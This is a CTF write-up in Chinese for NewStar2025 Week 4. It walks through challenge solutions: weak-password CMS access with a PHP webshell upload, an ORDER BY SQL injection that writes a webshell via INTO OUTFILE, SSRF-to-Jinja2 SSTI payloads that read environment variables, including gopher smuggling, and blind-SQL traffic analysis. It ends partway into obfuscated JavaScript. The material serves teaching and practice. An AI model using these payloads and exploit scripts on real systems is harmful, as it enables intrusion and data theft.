NewStar2025 Week4 Writeup

by 🧑‍🚀 Madel1ne on 2025/11/02

Web

武功秘籍

题目描述:小Z正在进攻高人留下的cms遗迹,却久久没有进展,突然他戒指里的老爷爷传音给他:“小Z啊,凭你的能力可能没法打破这个遗迹的防护阵法,但是我这里有一本诸多高手共同编辑的武功秘籍,从中记载了大量的阵法漏洞,可助你一臂之力!”小Z从戒指中取出武功秘籍,外观上已经年久泛黄,但是书名仔细辨认还是可以辨认出一个名称——CVE(做此题时请不要使用校园网,可能会出现一些奇奇怪怪的问题)

点击首页的新闻中心或产品中心,会跳转到后台登录页,F12有提示

image-20251025151848957


提示密码设置不强,猜测弱密码,admin/admin。成功后先添加一个新闻类

image-20251025151950162

image-20251025152008668


然后点添加新闻

image-20251025152046303

写一个php一句话木马,提交后抓包,修改一下类型

image-20251025152314474

image-20251025152114428

image-20251025152225683


php木马的路径在文件管理器可以找到,用蚁剑连接

image-20251025152340595

image-20251025152403759


flag在根目录

image-20251025152433718


sqlupload

题目描述:哈哈,这次我用 sql 来管理 upload 的文件就不会出问题了吧!【本题 flag 在根目录下的 flag 文件中】

环境分析

1. 系统架构

- 操作系统:Ubuntu 20.04
- Web 服务器:Apache2
- 数据库:MySQL
- Web 目录:/var/www/html/
- Flag 位置:/flag(需通过 /readFlag 程序读取)

2. 关键配置

查看 start.shDockerfile,发现关键配置:

# MySQL 配置允许写文件到任意位置
echo "secure_file_priv=\"\"" >> /etc/mysql/mysql.conf.d/mysqld.cnf

# /readFlag 程序设置了 SUID
chmod 4755 /readFlag

3. 数据库结构

CREATE TABLE uploads (
    id INT AUTO_INCREMENT PRIMARY KEY,
    filename VARCHAR(255) NOT NULL,
    content LONGBLOB NOT NULL,
    upload_time TIMESTAMP DEFAULT CURRENT_timestamp
);

漏洞分析

1. 漏洞位置

文件:src/getFileList.php (第 28-35 行)

$order = $_GET['order'] ?? "upload_time";
if (!preg_match("/upload_time|id/", $order)) {
    json_error("非法的 order 参数", 400);
}
$sql = "SELECT id, filename, upload_time
        FROM uploads
        ORDER BY $order";
$result = $mysqli->query($sql);

2. 漏洞成因

  1. 弱过滤preg_match("/upload_time|id/", $order) 只检查参数中是否包含 "upload_time""id",而不是严格匹配
  2. SQL 拼接$order 参数直接拼接到 SQL 语句中,未使用预编译
  3. 注入点位置:注入点在 ORDER BY 子句,这给了我们特殊的利用机会

关键知识点

MySQL SELECT 完整语法

这是解题的核心知识点

SELECT column_list
FROM table_name
WHERE condition
GROUP BY column_list
HAVING condition
ORDER BY column_list
LIMIT offset, count
INTO OUTFILE 'file_path'
    [FIELDS TERMINATED BY 'string']
    [LINES STARTING BY 'string']
    [LINES TERMINATED BY 'string'];

重要发现INTO OUTFILE 可以出现在 ORDER BY 之后!


INTO OUTFILE 的特殊用法

MySQL 的 INTO OUTFILE 支持多种格式化选项:

-- 在每行开头添加内容
LINES STARTING BY 'prefix'

-- 在每行结尾添加内容
LINES TERMINATED BY 'suffix'

-- 字段之间的分隔符
FIELDS TERMINATED BY 'delimiter'

-- 字段的包围符
FIELDS ENCLOSED BY 'char'

漏洞利用

攻击思路

由于注入点在 ORDER BY 子句,而 INTO OUTFILE 可以出现在 ORDER BY 之后,我们可以:

  1. 构造包含 "id" 的 payload 以绕过检查
  2. id 后直接添加 INTO OUTFILE 语句
  3. 使用 LINES STARTING BY 在输出内容前插入 PHP 代码
  4. 将文件写入到 Web 目录
  5. 访问该文件执行命令获取 flag

Payload 构造

核心payload构造:

order=id INTO OUTFILE '/var/www/html/shell.php' LINES STARTING BY '<?php system("/readFlag"); ?>'--

完整 SQL 语句:

SELECT id, filename, upload_time
FROM uploads
ORDER BY id INTO OUTFILE '/var/www/html/shell.php' LINES STARTING BY '<?php system("/readFlag"); ?>'-- 

Payload 解析:

  • id - 包含关键字,绕过 preg_match 检查 ✓
  • INTO OUTFILE '/var/www/html/shell.php' - 指定输出文件路径
  • LINES STARTING BY '<?php system("/readFlag"); ?>' - 在每行开头插入 PHP 代码
  • -- - 注释掉后面的内容(实际上后面已经没有内容了)

写入文件内容示例:

假设查询返回一条记录:1, test.txt, 2024-01-01 00:00:00

写入的文件内容:

<?php system("/readFlag"); ?>1	test.txt	2024-01-01 00:00:00

攻击步骤

步骤 1:上传测试文件

首先需要上传一个文件,确保数据库中有数据(否则查询无结果,INTO OUTFILE 不会执行)

curl -X POST https://target.com/upload.php \
  -F "file=@test.txt"
步骤 2:SQL 注入写入 Webshell
curl -G https://target.com/getFileList.php \
  --data-urlencode "order=id INTO OUTFILE '/var/www/html/shell.php' LINES STARTING BY '<?php system(\"/readFlag\"); ?>'"
步骤 3:访问 Webshell 获取 Flag
curl https://target.com/shell.php

完整利用脚本

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
SQLUpload 正确解法

MySQL SELECT 语法顺序:
SELECT ... FROM ... WHERE ... GROUP BY ... HAVING ... ORDER BY ... LIMIT ... INTO OUTFILE '...'

注意:INTO OUTFILE 可以在 ORDER BY 之后,LIMIT 之后!

所以我们的 payload 结构应该是:
order = "id LIMIT 1 INTO OUTFILE '/path' LINES TERMINATED BY '<?php code ?>'-- "

或者更简单:
order = "id INTO OUTFILE '/path' LINES STARTING BY '<?php code ?>'-- "
"""

import requests
import urllib3
import time

urllib3.disable_warnings()

BASE_URL = "https://eci-2ze5i7cbu6fweacbrtbl.cloudeci1.ichunqiu.com"

def exploit():
    print("="*70)
    print(" SQLUpload 题目解法")
    print("="*70)
    print(f"目标: {BASE_URL}\n")
    
    # 上传测试文件确保数据库有数据
    print("[1] 上传测试文件...")
    try:
        upload_url = f"{BASE_URL}/upload.php"
        files = {'file': ('test.txt', 'test\n', 'text/plain')}
        resp = requests.post(upload_url, files=files, timeout=10, verify=False)
        print(f"    {resp.json()}\n")
    except:
        pass
    
    php_shell = '<?php system("/readFlag"); ?>'
    list_url = f"{BASE_URL}/getFileList.php"
    
    print("[2] 测试关键 Payload...\n")
    
    # 核心 payloads
    payloads = [
        # 方法1: 使用 LINES STARTING BY 在每行开头添加 PHP 代码
        {
            "payload": f"id INTO OUTFILE '/var/www/html/shell1.php' LINES STARTING BY '{php_shell}'-- ",
            "file": "shell1.php",
            "desc": "使用 LINES STARTING BY"
        },
        
        # 方法2: 使用 LINES TERMINATED BY 在每行结尾添加
        {
            "payload": f"id INTO OUTFILE '/var/www/html/shell2.php' LINES TERMINATED BY '\n{php_shell}'-- ",
            "file": "shell2.php",
            "desc": "使用 LINES TERMINATED BY"
        },
        
        # 方法3: 使用 FIELDS ENCLOSED BY
        {
            "payload": f"id INTO OUTFILE '/var/www/html/shell3.php' FIELDS TERMINATED BY '{php_shell}'-- ",
            "file": "shell3.php",
            "desc": "使用 FIELDS TERMINATED BY"
        },
        
        # 方法4: 直接写入,不使用修饰符(这会写入查询结果)
        {
            "payload": f"id LIMIT 1 INTO OUTFILE '/var/www/html/shell4.php'-- ",
            "file": "shell4.php",
            "desc": "直接写入查询结果"
        },
        
        # 方法5: 使用 HEX 编码避免引号问题
        {
            "payload": f"id INTO OUTFILE '/var/www/html/shell5.php' LINES STARTING BY 0x{php_shell.encode().hex()}-- ",
            "file": "shell5.php",
            "desc": "HEX 编码 PHP 代码"
        },
    ]
    
    for idx, p in enumerate(payloads, 1):
        print(f"[测试 {idx}] {p['desc']}")
        print(f"  Payload: {p['payload'][:60]}...")
        
        try:
            resp = requests.get(list_url, params={'order': p['payload']}, timeout=10, verify=False)
            print(f"  状态码: {resp.status_code}")
            
            if resp.status_code == 200:
                print(f"  响应: 成功")
                
                # 等待文件写入
                time.sleep(0.5)
                
                # 尝试访问生成的文件
                shell_url = f"{BASE_URL}/{p['file']}"
                try:
                    shell_resp = requests.get(shell_url, timeout=5, verify=False)
                    
                    if shell_resp.status_code == 200:
                        print(f"  ✓ 文件 {p['file']} 创建成功!")
                        print(f"\n{'='*70}")
                        print(" FLAG 内容:")
                        print("="*70)
                        print(shell_resp.text)
                        print("="*70)
                        
                        if 'flag{' in shell_resp.text or 'FLAG{' in shell_resp.text:
                            return True
                    else:
                        print(f"  ✗ 文件不存在 ({shell_resp.status_code})")
                except Exception as e:
                    print(f"  ✗ 无法访问文件: {e}")
            else:
                error = resp.text[:100]
                print(f"  ✗ 失败: {error}")
                
        except Exception as e:
            print(f"  ✗ 异常: {e}")
        
        print()
    
    # 最后检查所有可能的文件
    print("[3] 检查所有可能生成的文件...")
    for i in range(1, 6):
        filename = f"shell{i}.php"
        try:
            url = f"{BASE_URL}/{filename}"
            resp = requests.get(url, timeout=3, verify=False)
            
            if resp.status_code == 200 and resp.text.strip():
                print(f"  [+] {filename}: {resp.text[:50]}...")
                if 'flag{' in resp.text or 'FLAG{' in resp.text:
                    print(f"\n{'='*70}")
                    print(f" 在 {filename} 中找到 FLAG!")
                    print("="*70)
                    print(resp.text)
                    print("="*70)
                    return True
        except:
            pass
    
    return False

if __name__ == "__main__":
    success = exploit()
    
    print()
    if success:
        print("[SUCCESS] 解题成功!")
    else:
        print("[FAILED] 未能获取 flag")
        print("\n可能的原因:")
        print("1. INTO OUTFILE 语法不对")
        print("2. 文件写入权限问题")
        print("3. secure_file_priv 限制")
        print("4. ORDER BY 后不能直接跟 INTO OUTFILE (需要验证)")

image-20251025215406828


ssti在哪里?

题目描述:难道不是ssrf吗?

把附件的所有文件丢给AI分析,让AI写出解题脚本

image-20251026145913331

image-20251026145958345

#!/usr/bin/env python3
"""
where_is_ssti CTF Challenge Exploit
攻击链: SSRF -> Flask(5000) -> Flask(5001) -> SSTI -> 读取环境变量
"""

import requests
from urllib.parse import quote

# 目标地址
TARGET_URL = "http://39.106.48.123:43273/"

def exploit():
    print("[*] 开始攻击 where_is_ssti 挑战...")
    print("[*] 攻击链: SSRF -> Flask(5000) -> Flask(5001) -> SSTI")
    
    # SSTI Payload - 读取环境变量中的flag
    # Flask/Jinja2 SSTI payload to read environment variables
    ssti_payloads = [
        # Payload 1: 直接读取环境变量
        "{{config}}",
        
        # Payload 2: 通过__globals__读取os.environ
        "{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].environ}}",
        
        # Payload 3: 更简洁的方式
        "{{config.items()}}",
        
        # Payload 4: 读取所有环境变量
        "{{self.__init__.__globals__.__builtins__.__import__('os').environ}}",
        
        # Payload 5: 直接读取ICQ_FLAG
        "{{self.__init__.__globals__.__builtins__.__import__('os').environ.get('ICQ_FLAG')}}",
        
        # Payload 6: 使用lipsum获取os模块
        "{{lipsum.__globals__.os.environ}}",
        
        # Payload 7: 使用cycler
        "{{cycler.__init__.__globals__.os.environ}}",
    ]
    
    print("\n" + "="*60)
    
    for i, ssti_payload in enumerate(ssti_payloads, 1):
        print(f"\n[+] 尝试 Payload {i}: {ssti_payload[:50]}...")
        
        # 构造SSRF URL
        # 通过SSRF访问内部Flask服务(5000),POST参数name会被转发到5001的template参数
        ssrf_url = f"http://localhost:5000/"
        
        # 构造POST请求体 - 需要URL编码
        post_data = f"name={quote(ssti_payload)}"
        
        # 完整的SSRF payload
        # 使用gopher协议或直接POST (curl支持POST)
        # 由于curl_setopt只设置了URL,我们需要用其他方法
        
        # 方法1: 使用127.0.0.1访问内部服务(可能被过滤)
        payload_url = f"http://127.0.0.1:5000/"
        
        try:
            # 发送请求到PHP SSRF端点
            response = requests.post(
                TARGET_URL,
                data={
                    'url': payload_url,
                    'name': ssti_payload  # 尝试直接传递
                },
                timeout=10,
                allow_redirects=False
            )
            
            print(f"[*] 状态码: {response.status_code}")
            print(f"[*] 响应长度: {len(response.text)}")
            
            if response.text and len(response.text) > 20:
                print(f"[*] 响应内容预览:")
                print("-" * 60)
                print(response.text[:500])
                print("-" * 60)
                
                # 查找flag
                if 'flag{' in response.text.lower() or 'icq_flag' in response.text.lower():
                    print("\n" + "!"*60)
                    print("[!!! SUCCESS !!!] 找到Flag相关信息!")
                    print("!"*60)
                    print(response.text)
                    return response.text
        
        except Exception as e:
            print(f"[-] Payload {i} 失败: {e}")
    
    print("\n" + "="*60)
    print("\n[*] 尝试使用Gopher协议构造完整POST请求...")
    
    # 方法2: 使用Gopher协议构造完整的HTTP POST请求
    ssti_payload = "{{lipsum.__globals__.os.environ}}"
    
    # 构造HTTP POST请求
    post_body = f"name={quote(ssti_payload)}"
    http_request = (
        f"POST / HTTP/1.1\r\n"
        f"Host: localhost:5000\r\n"
        f"Content-Type: application/x-www-form-urlencoded\r\n"
        f"Content-Length: {len(post_body)}\r\n"
        f"\r\n"
        f"{post_body}"
    )
    
    # Gopher协议需要URL编码
    gopher_payload = "gopher://127.0.0.1:5000/_" + quote(http_request, safe='')
    
    print(f"[*] Gopher Payload (前100字符): {gopher_payload[:100]}...")
    
    try:
        response = requests.post(
            TARGET_URL,
            data={'url': gopher_payload},
            timeout=10
        )
        
        print(f"[*] 状态码: {response.status_code}")
        print(f"[*] 响应内容:")
        print("-" * 60)
        print(response.text)
        print("-" * 60)
        
        if 'flag{' in response.text.lower():
            print("\n[!!! SUCCESS !!!] 找到Flag!")
            return response.text
    
    except Exception as e:
        print(f"[-] Gopher方法失败: {e}")
    
    print("\n[*] 提示:如果上述方法都不行,可能需要:")
    print("    1. 检查内部服务是否可以直接通过localhost/127.0.0.1访问")
    print("    2. 尝试其他SSTI payload")
    print("    3. 使用其他协议如file://、dict://等")

if __name__ == "__main__":
    exploit()

image-20251026150136509


Misc

流量分析-听声辩位

题目描述:在城邦外的流量海峡中,海豚们通过发出"ascii"音的大小来判断在集体流量游动的顺序。城邦捕获了海豚们集结出发时的声音,现在需要挑战者通过声音大小的判断来确定是哪些海豚出行

解题思路

1. 题目分析

题目给出一个pcapng网络流量包,题目描述提到”ascii音的大小”,这暗示了:

  • 这是一道SQL盲注题目
  • 需要通过ASCII值的比较来提取数据
  • 需要分析网络流量来重构被盗取的数据

2. 流量包分析

使用Scapy或Wireshark打开流量包,可以发现:

# 安装依赖
pip install scapy

# 读取流量包
from scapy.all import rdpcap
packets = rdpcap('blindsql.pcapng')

流量包中包含大量HTTP GET请求,例如:

GET /Mimikyu-main/sqli/Less-5/?id=1' AND ORD(MID((SELECT IFNULL(CAST(`value` AS NCHAR),0x20) 
FROM newstar2025.week4 ORDER BY id LIMIT 0,1),1,1))>102 AND 'XEKs'='XEKs

3. SQL盲注原理

什么是盲注? 盲注是一种SQL注入技术,当网页不直接显示SQL查询结果时使用。攻击者通过观察页面响应的差异(如响应时间、内容长度等)来推断数据。

本题使用的盲注技术:

  • 布尔盲注(Boolean-based Blind SQL Injection)
  • 使用 ORD(MID(...)) 函数逐字符提取数据
  • ORD(): 返回字符的ASCII值
  • MID(string, position, length): 提取字符串的子串

注入逻辑:

ORD(MID((SELECT value FROM newstar2025.week4), 位置, 1)) > ASCII值
  • 如果条件为真,返回一种响应
  • 如果条件为假,返回另一种响应

4. 二分查找算法

攻击者使用二分查找来高效猜测每个字符:

假设要猜测第1个字符:
1. 测试 > 64  (中间值)
2. 测试 > 96  
3. 测试 > 112
4. 测试 > 104
5. 测试 > 100
6. 测试 > 102
7. 测试 > 101

通过真假结果,确定字符ASCII值为102 ('f')

5. 识别响应模式

关键发现:

  • 响应长度为 1037字节 = 条件为
  • 响应长度为 1070字节 = 条件为

通过分析请求-响应对,可以判断每次比较的结果。

6. 数据提取算法

对于每个字符位置:

  1. 收集所有测试值和对应的响应
  2. 找出最大的”真”值(max_true)和最小的”假”值(min_false)
  3. 实际字符的ASCII值 = max_true + 1 = min_false

示例:

位置1的测试:
- ORD(char) > 64  => 假 (1070)
- ORD(char) > 96  => 假 (1070)
- ORD(char) > 100 => 假 (1070)
- ORD(char) > 101 => 假 (1070)
- ORD(char) > 102 => 真 (1037)
- ORD(char) > 104 => 真 (1037)
- ORD(char) > 112 => 真 (1037)

结论:max_true=101, min_false=102
字符 = chr(102) = 'f'

7. 完整提取流程

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from scapy.all import rdpcap, Raw, TCP
import re
from urllib.parse import unquote
from collections import defaultdict


def print_section(title):
    """打印章节标题"""
    print("\n" + "=" * 70)
    print(f"  {title}")
    print("=" * 70)


def analyze_pcap_basic(pcap_file):
    """第一步:基础分析PCAP文件"""
    print_section("步骤1: 基础流量分析")

    packets = rdpcap(pcap_file)
    print(f"[*] 总数据包数量: {len(packets)}")

    # 统计协议
    protocols = defaultdict(int)
    http_requests = 0

    for pkt in packets:
        if pkt.haslayer(TCP):
            protocols['TCP'] += 1
            if pkt.haslayer(Raw):
                payload = pkt[Raw].load
                if b'GET ' in payload or b'POST ' in payload:
                    http_requests += 1

    print(f"[*] TCP 数据包: {protocols['TCP']}")
    print(f"[*] HTTP 请求数: {http_requests}")

    return packets


def extract_sample_requests(packets, max_samples=3):
    """第二步:提取样本请求进行分析"""
    print_section("步骤2: 提取样本SQL注入请求")

    sample_count = 0
    for pkt in packets:
        if pkt.haslayer(Raw):
            payload = pkt[Raw].load
            if b'GET ' in payload and sample_count < max_samples:
                try:
                    payload_str = payload.decode('utf-8', errors='ignore')
                    if 'ORD' in payload_str or 'MID' in payload_str:
                        print(f"\n[样本 {sample_count + 1}]")
                        print("-" * 70)
                        # 提取GET行
                        lines = payload_str.split('\r\n')
                        get_line = lines[0] if lines else payload_str[:200]
                        print(f"原始请求: {get_line[:150]}...")

                        # URL解码
                        decoded = unquote(get_line)
                        print(f"\nURL解码后: {decoded[:200]}...")

                        sample_count += 1
                except:
                    pass

    print(f"\n[*] 找到 {sample_count} 个样本请求")


def analyze_sql_injection_pattern(packets):
    """第三步:分析SQL盲注模式"""
    print_section("步骤3: 分析盲注攻击模式")

    # 正则表达式解析SQL注入结构
    pattern = r'ORD\(MID\(\(SELECT\s+IFNULL\(CAST\(`(\w+)`.*?\).*?,(\d+),1\)\)>(\d+)'

    print("[*] 盲注攻击原理:")
    print("    1. 使用 MID(string, position, 1) 提取指定位置的单个字符")
    print("    2. 使用 ORD(char) 获取字符的ASCII值")
    print("    3. 使用二分查找法比较 ASCII > N 来逐步缩小范围")
    print("    4. 根据响应包长度判断条件真假 (长度1037=真)")

    print("\n[*] SQL注入语句结构:")
    print("    ORD(MID((SELECT IFNULL(CAST(`字段名` ...), position, 1)) > ascii_value")
    print("    └─ 如果条件为真,响应包长度为 1037 字节")
    print("    └─ 如果条件为假,响应包长度不同")

    # 统计不同字段和位置
    field_positions = defaultdict(set)
    ascii_ranges = defaultdict(list)

    for pkt in packets:
        if pkt.haslayer(Raw):
            payload = pkt[Raw].load
            if b'GET ' in payload:
                try:
                    payload_str = payload.decode('utf-8', errors='ignore')
                    req_decoded = unquote(payload_str)
                    match = re.search(pattern, req_decoded, re.IGNORECASE)
                    if match:
                        field_name = match.group(1)
                        position = int(match.group(2))
                        ascii_val = int(match.group(3))

                        field_positions[field_name].add(position)
                        ascii_ranges[field_name].append(ascii_val)
                except:
                    pass

    print("\n[*] 检测到的查询字段:")
    for field, positions in field_positions.items():
        print(f"    - {field}: 查询了 {len(positions)} 个字符位置 (位置 1 到 {max(positions)})")
        ascii_vals = ascii_ranges[field]
        print(f"      ASCII测试范围: {min(ascii_vals)} - {max(ascii_vals)}")


def extract_response_pattern(packets):
    """第四步:分析响应模式"""
    print_section("步骤4: 响应包特征分析")

    response_lengths = defaultdict(int)

    for pkt in packets:
        if pkt.haslayer(Raw):
            payload = pkt[Raw].load
            if b'HTTP/1.1' in payload:
                length = len(payload)
                response_lengths[length] += 1

    print("[*] 响应包长度统计:")
    for length in sorted(response_lengths.keys()):
        count = response_lengths[length]
        marker = " <- 条件为真的标志" if length == 1037 else ""
        print(f"    长度 {length}: {count}{marker}")


def extract_flag(packets):
    """第五步:提取FLAG"""
    print_section("步骤5: 提取FLAG数据")

    # 解析SQL注入查询
    pattern = r'ORD\(MID\(\(SELECT\s+IFNULL\(CAST\(`(\w+)`.*?\).*?,(\d+),1\)\)>(\d+)'

    # 存储每个字段每个位置的ASCII值测试
    field_data = defaultdict(lambda: defaultdict(list))

    request_count = 0
    for i in range(len(packets)):
        pkt = packets[i]
        if pkt.haslayer(Raw):
            payload = pkt[Raw].load
            if b'GET ' in payload:
                try:
                    payload_str = payload.decode('utf-8', errors='ignore')
                    req_decoded = unquote(payload_str)
                    match = re.search(pattern, req_decoded, re.IGNORECASE)

                    if match:
                        field_name = match.group(1)
                        position = int(match.group(2))
                        ascii_val = int(match.group(3))

                        # 查找对应的响应
                        response_success = False
                        for j in range(i + 1, min(i + 20, len(packets))):
                            resp_pkt = packets[j]
                            if resp_pkt.haslayer(Raw):
                                resp_payload = resp_pkt[Raw].load
                                if b'HTTP/1.1' in resp_payload:
                                    resp_len = len(resp_payload)
                                    if resp_len == 1037:  # 条件为真
                                        response_success = True
                                    break

                        field_data[field_name][position].append((ascii_val, response_success))
                        request_count += 1
                except:
                    pass

    print(f"[*] 成功解析 {request_count} 个SQL查询请求")
    print(f"[*] 涉及 {len(field_data)} 个数据库字段")

    # 重构字符串
    def reconstruct_string(position_data, show_detail=True):
        result = []
        max_pos = max(position_data.keys()) if position_data else 0

        if show_detail:
            print(f"\n    字符串长度: {max_pos} 字符")
            print("    " + "-" * 66)

        for pos in range(1, max_pos + 1):
            tests = position_data.get(pos, [])
            if not tests:
                if show_detail:
                    print(f"    位置 {pos:2d}: 无数据,停止")
                break

            # 二分查找逻辑:ORD(char) > N
            max_true = -1  # 最大的使条件为真的值
            min_false = 256  # 最小的使条件为假的值

            for ascii_val, success in tests:
                if success:
                    max_true = max(max_true, ascii_val)
                else:
                    min_false = min(min_false, ascii_val)

            # 实际ASCII值 = max_true + 1 (因为 ORD(char) > max_true 为真)
            char_ascii = max_true + 1

            # 检查是否为结束符
            if char_ascii <= 1 or char_ascii == 32:
                if show_detail:
                    print(f"    位置 {pos:2d}: ASCII={char_ascii} (字符串结束)")
                break

            char = chr(char_ascii)
            result.append(char)

            if show_detail:
                # 显示二分查找的范围
                print(f"    位置 {pos:2d}: ASCII={char_ascii:3d} -> '{char}'  "
                      f"[测试{len(tests)}次, 范围: {max_true} < x <= {min_false}]")

        return ''.join(result)

    # 提取所有字段
    print("\n[*] 开始重构数据:")
    results = {}
    for field_name in sorted(field_data.keys()):
        print(f"\n  字段: {field_name}")
        position_data = field_data[field_name]
        value = reconstruct_string(position_data, show_detail=True)
        results[field_name] = value

    return results


def main():
    """主函数"""
    print("""
    ╔══════════════════════════════════════════════════════════════════╗
    ║                                                                  ║
    ║                      BlindSQL 盲注流量分析                         ║
    ║                                                                  ║  
    ╚══════════════════════════════════════════════════════════════════╝
    """)

    pcap_file = 'blindsql.pcapng'

    # 步骤1: 基础分析
    packets = analyze_pcap_basic(pcap_file)

    # 步骤2: 提取样本
    extract_sample_requests(packets, max_samples=2)

    # 步骤3: 分析SQL注入模式
    analyze_sql_injection_pattern(packets)

    # 步骤4: 响应模式分析
    extract_response_pattern(packets)

    # 步骤5: 提取FLAG
    results = extract_flag(packets)

    # 最终结果
    print_section("最终结果")
    for field_name, value in results.items():
        print(f"\n[+] {field_name} = {value}")

    print("\n" + "=" * 70)
    print("\n[*] FLAG提取完成!")

    # 题目呼应
    print("\n[*] 题目解析:")
    print("    '海豚通过ASCII音的大小判断流量顺序'")
    print("    └─ 对应: 通过比较ASCII值大小 (ORD > N) 进行盲注")
    print("\n    '通过声音大小的判断来确定是哪些海豚'")
    print("    └─ 对应: 通过二分查找ASCII值来确定每个字符")
    print("\n[*] 分析完成!")


if __name__ == '__main__':
    main()

image-20251025152506965


jail-Neuro jail

题目描述:Neuro 打 osu 的时候被关进 jail 了!一定是 Evil 干的,快点帮帮 Neuro 逃出 jail!【如果出现乱码问题,请在终端输入 chcp 65001】

1. 问题分析

查看附件源码

  1. 程序接收base64编码的输入
  2. 解码后检查长度 ≤ 200 字符
  3. 黑名单字符: (, ), [, ], {, }, <, >
  4. 代码被注入到C++模板中
  5. 编译并运行,如果输出包含 “NewStar!!!” 就获得flag

2. 模板结构

#include <iostream>
#include <string>

int main() {
  /* YOUR CODE HERE */
  std::string s = "NoWay";
  std::cout << s;
  return 0;
}

3. 解决方案

使用C++的行继续特性:反斜杠 \ 在行尾会将下一行连接到当前行。 即使在注释中,//\ 也会使下一行成为注释的一部分!

4. Payload

std::string s="NewStar!!!"; //\

5. 注入后的代码

#include <iostream>
#include <string>

int main() {
  std::string s="NewStar!!!"; //\  
  std::string s = "NoWay";
  std::cout << s;s
  return 0;
}

6. 预处理后的等效代码

#include <iostream>
#include <string>

int main() {
  std::string s="NewStar!!!"; //  std::string s = "NoWay";
  std::cout << s;  // 输出 "NewStar!!!"
  return 0;
}

原始的 std::string s = "NoWay"; 被注释掉了!

7. Base64 Payload

c3RkOjpzdHJpbmcgcz0iTmV3U3RhciEhISI7IC8vXA==

程序将输出 “NewStar!!!” 并显示 flag!

image-20251025152528414


区块链-智能合约

题目描述:如果你想和工坊签订合约,就来这个地址找它吧!
合约地址:0x88DC8f1de5Ff74d644C1a1defDc54869E5Ce3c08 合约在 sepolia 测试链上进行

不太懂区块链,我把题目描述和附件的代码都给了Claude 4.5,Claude4.5分析后给出了js代码

image-20251025152546290

image-20251025152613679

// 解题脚本:读取链上存储获取 flag
const { ethers } = require('ethers');

async function solve() {
    // 连接到 Sepolia 测试网 (ethers v5 语法)
    // 使用公共 RPC 端点
    const provider = new ethers.providers.JsonRpcProvider('https://ethereum-sepolia-rpc.publicnode.com');
    
    const contractAddress = '0x88DC8f1de5Ff74d644C1a1defDc54869E5Ce3c08';
    
    console.log('正在读取合约存储...\n');
    
    // Solidity 存储布局:
    // slot 0: flag (string)
    // slot 1: password (uint256)
    // slot 2: unlocked mapping
    
    // 读取 slot 0 - flag(string 类型)
    const slot0 = await provider.getStorageAt(contractAddress, 0);
    console.log('Slot 0 (flag) 原始数据:', slot0);
    
    // 解析 string 类型的存储
    // 如果字符串长度 < 32 字节,最后一个字节存储 length*2,字符串直接存在 slot 0
    const lastByte = parseInt(slot0.slice(-2), 16);
    
    if (lastByte % 2 === 0) {
        // 短字符串(< 32 字节)
        const length = lastByte / 2;
        const flagHex = slot0.slice(2, 2 + length * 2);
        const flag = Buffer.from(flagHex, 'hex').toString('utf8');
        console.log('Flag 长度:', length);
        console.log('Flag:', flag);
    } else {
        // 长字符串(>= 32 字节)
        const length = (BigInt(slot0) - 1n) / 2n;
        console.log('Flag 长度:', length);
        
        // 计算数据存储位置
        const dataSlot = ethers.utils.keccak256(ethers.utils.hexZeroPad('0x00', 32));
        let flagData = '';
        
        // 读取所需的槽位
        const slotsNeeded = Math.ceil(Number(length) / 32);
        for (let i = 0; i < slotsNeeded; i++) {
            const slot = BigInt(dataSlot) + BigInt(i);
            const data = await provider.getStorageAt(contractAddress, slot);
            flagData += data.slice(2);
        }
        
        const flagHex = flagData.slice(0, Number(length) * 2);
        const flag = Buffer.from(flagHex, 'hex').toString('utf8');
        console.log('Flag:', flag);
    }
    
    console.log('');
    
    // 读取 slot 1 - password
    const slot1 = await provider.getStorageAt(contractAddress, 1);
    const password = BigInt(slot1);
    console.log('Slot 1 (password):', slot1);
    console.log('Password (十进制):', password.toString());
    console.log('Password (十六进制):', '0x' + password.toString(16));
}

solve().catch(console.error);

用node运行脚本,node solve_vault.js,得到flag

image-20251025152647595


混乱的网站

题目描述:网站还没搭建完成就遭到了致命的攻击。我的代码怎么乱七八糟的,挑战者们能帮我看看代码里隐藏了什么吗flag格式:flag{flag1_flag2}

flag1

抓包

访问首页并抓包,可以得到一段很长很长的JavaScript混淆代码

image-20251025162540882

HTTP/1.1 200 OK
Date: Wed, 22 Oct 2025 12:50:54 GMT
Content-Type: application/javascript
Connection: keep-alive
Last-Modified: Wed, 08 Oct 2025 15:10:44 GMT
ETag: "b69-640a716a6a500-gzip"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Length: 2921

(function(){var Aij$cmYht1=['\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x75\x5a\x58\x64\x7a\x64\x47\x46\x79\x4c\x6d\x64\x68\x62\x57\x55\x76','\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x75\x5a\x58\x64\x7a\x64\x47\x46\x79\x4c\x6d\x64\x68\x62\x57\x56\x6b\x4c\x77\x3d\x3d','\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x75\x5a\x58\x64\x7a\x64\x47\x46\x79\x4c\x6d\x64\x68\x62\x57\x56\x7a\x4c\x77\x3d\x3d','\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x75\x5a\x58\x64\x7a\x64\x47\x46\x79\x4c\x6d\x64\x68\x62\x6d\x56\x7a\x4c\x77\x3d\x3d','\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x75\x5a\x58\x64\x7a\x64\x47\x46\x79\x4c\x6d\x64\x68\x62\x6d\x56\x7a\x4c\x77\x3d\x3d'];var lot2=['\x5a\x6d\x46\x6a\x61\x31\x39\x6d\x62\x47\x46\x6e\x58\x77\x3d\x3d','\x5a\x6d\x78\x68\x5a\x31\x39\x6d\x59\x57\x4e\x72\x58\x77\x3d\x3d','\x61\x6e\x4e\x66\x64\x6d\x56\x79\x65\x56\x39\x6e\x62\x32\x39\x6b','\x61\x6e\x4e\x66\x5a\x6d\x4e\x31\x61\x77\x3d\x3d','\x61\x47\x39\x33\x58\x32\x46\x69\x62\x33\x56\x30\x58\x32\x70\x7a'];function _pick(CjQmMUp3,K$kHfNWZ4){return CjQmMUp3[(K$kHfNWZ4*7+3)%CjQmMUp3['\x6c\x65\x6e\x67\x74\x68']]}function _b64decode(qhC5){if(typeof atob==='\x66\x75\x6e\x63\x74\x69\x6f\x6e'){try{return atob(qhC5)}catch(e){}}var 